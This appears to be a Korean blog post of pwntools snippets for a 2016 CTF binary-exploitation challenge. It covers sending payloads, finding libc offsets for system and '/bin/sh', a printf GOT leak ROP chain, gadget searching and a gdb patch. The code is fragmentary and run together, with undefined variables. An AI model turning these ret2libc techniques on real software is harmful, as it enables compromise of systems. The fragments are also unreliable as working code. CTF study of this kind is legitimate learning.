[ pwn 예제 코드 ]
from pwn import *
payload = '-1' print '[*] payload\n%s' % hexdump(payload) r.sendline(payload) #r.interactive() |
[ XML 파일 전송 ]
from pwn import * r = remote('127.0.0.1', 1234) payload = open('crattack.xml', 'rb').read() print r.recvuntil( 'XML)' ) r.sendline(payload) r.interactive() |
[ 사용하는 라이브러리 확인 ]
babyhack@ubuntu:~/tmp/sctf2016/pwn2$ readelf -r ./pwn2 Relocation section '.rel.dyn' at offset 0x2fc contains 2 entries: Relocation section '.rel.plt' at offset 0x30c contains 6 entries: |
[ offset 찾는 방법 ]
# babyhack@ubuntu:~/tmp/sctf2016/pwn2$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep 'system' | more # babyhack@ubuntu:~/tmp/sctf2016/pwn2$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh'
offset_printf = 0x4A130 #------------ printf_got leak -------# # | aaaaaa.....aaaa | # +----------------------------+ # | printf_plt | # +----------------------------+ # | vuln() | # +----------------------------+ # | '%s' | # +----------------------------+ # | print_got | # +----------------------------+
payload += printf_plt
print '[*] payload\n%s\n' % hexdump(payload) s.sendline(payload) print '[*] first recv\n%s\n' % s.recvline() printf_got_leak = s.recvline() libc_printf_got = hex(u32(printf_got_leak[:4])) print '[*] lib_printf_got : ', libc_printf_got libc_addr = int(libc_printf_got, 16) - offset_printf print '[*] libc addr : ', hex(libc_addr) |
[ gadget 찾기 ]
※ https://github.com/0vercl0k/rp
#./rp++ -f ./pwn2 -r 4 | grep 'pop' |
[ gdb code patch ]
(gdb) set *(unsigned char*)0x400cc3 = 0x90 |
'Reverse > pwnable' 카테고리의 다른 글
[CGC] 공격 예제 코드 작성 - SecuInside 2016(CGC/cykor_00001) (0) | 2016.08.02 |
---|---|
[vagrant] CGC (Cyber Grand Challenge) 환경 구축 (0) | 2016.08.02 |
[pwntools] 함수 offset 계산 방법 (0) | 2016.07.21 |
[defcon 24 - 2016] Reversing - baby-re (0) | 2016.05.24 |
[defcon 23 - 2015] r0pbaby Writeup (0) | 2016.05.18 |